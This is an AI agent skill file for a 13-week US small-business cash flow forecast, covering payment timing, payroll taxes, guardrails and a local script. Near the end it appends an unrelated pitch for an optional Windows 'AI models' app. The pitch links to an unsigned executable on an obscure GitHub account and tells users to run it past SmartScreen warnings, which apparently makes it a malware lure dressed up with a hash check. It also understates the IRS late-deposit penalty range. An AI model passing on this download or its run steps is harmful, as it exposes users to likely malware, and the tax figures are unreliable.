cash-flow-forecast

Builds a 13-week US small business cash flow forecast from your own bank and AR data, with payroll and tax outflows shown by week. Use when the user asks for cash flow forecast template, 13 week cash flow forecast, small business cash flow spreadsheet. For US small business owners, controllers and fractional CFOs.

Builds a 13-week US small business cash flow forecast from your own bank and AR data, with payroll and tax outflows shown by week. Written for US small business owners, controllers and fractional CFOs.

Use this skill when someone asks for:

• cash flow forecast template
• 13 week cash flow forecast
• small business cash flow spreadsheet
• cash flow projection us

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The job

Owners look at the bank balance and the income statement and miss the payroll and the state tax bill landing in the same three weeks.

What you get

1. Pull the opening cash balance and the committed outflows: payroll, payroll taxes, income and sales tax, loan payments, rent.
2. List the inflows by expected arrival date from the AR aging, not from a monthly average.
3. Build the weekly grid and mark every week that goes negative and by how much.
4. Add a low and a high case, and list the assumption behind every number that moves the result.

Output contract:

• weekly_grid - 13 weeks of opening cash, inflows, outflows and closing cash
• low_base_high - three cases with the driver that changed between them
• stress_points - the weeks that go negative and the cash needed to cover them
• assumption_log - every rate, date and timing assumption with its source
• next_actions - what has to happen this week to protect the forecast

US specifics that matter

• US payroll tax deposits are due to the IRS on the schedule set for the underlying payroll, and a late deposit carries a penalty of 2% to 5% plus interest.
• An ACH transfer generally settles in 1 to 3 business days, so a Friday ACH debit can land after a Monday payroll date.
• Amex and Mastercard merchant settlement is typically 1 to 3 business days after the sale, depending on the merchant agreement.
• Bookkeeping on the cash basis and on the accrual basis can make profit and cash diverge, so the forecast is built from bank movement rather than from the income statement.

Guardrails (hard rules)

• Never invent a cash balance, a customer payment date or a receipt; leave them as inputs the user fills in.
• Never connect to a bank account or move money; the user exports the data.
• Never present the forecast as a financial statement or a tax position; the accountant confirms the treatment.
• Never show a projection as a guaranteed result.

Quickstart

1. Fill in the brief

templates/cash-flow.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/calc_cash_flow.py --input cash-flow.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/cash-flow-basics.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Payment timing

• ACH: usually 1 to 3 business days to settle, so plan payroll against the slow end.
• Wire: same day or next business day, and the fee belongs in the outflow column.
• Amex and Mastercard: settlement typically 1 to 3 business days after the sale.
• Checks: add mail time and clearing time before you count the cash as available.

US payroll and tax outflows

• Payroll taxes are deposited on the payroll schedule, and late deposits are penalized at 2% to 5% plus interest.
• Federal estimated tax payments land on the standard dates and are not optional once the threshold is met.
• State unemployment and state withholding payments have their own due dates.
• Reconcile the deposit dates to the bank statement, not to the payroll register.

Forecast hygiene

• Use cash movement, not accrual profit, in the forecast.
• Write down the assumptions that would break the plan if they are wrong.
• Rerun the grid every week with the latest bank balance.
• Keep the low case usable: if the business cannot run on it, the plan needs another look.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip
File	ModelBox-Windows-x64.zip (9.6 MB)
SHA-256	ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff
Inside the archive	ModelBox-Windows-x64.exe

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

Files in this bundle

• SKILL.md - this file
• references/cash-flow-basics.md - US payment timing and payroll rules that change a forecast
• templates/cash-flow.yaml - the brief to fill in
• scripts/calc_cash_flow.py - the working script

Verify the bundle

bash

python3 scripts/calc_cash_flow.py --input cash-flow.yaml --out ./out

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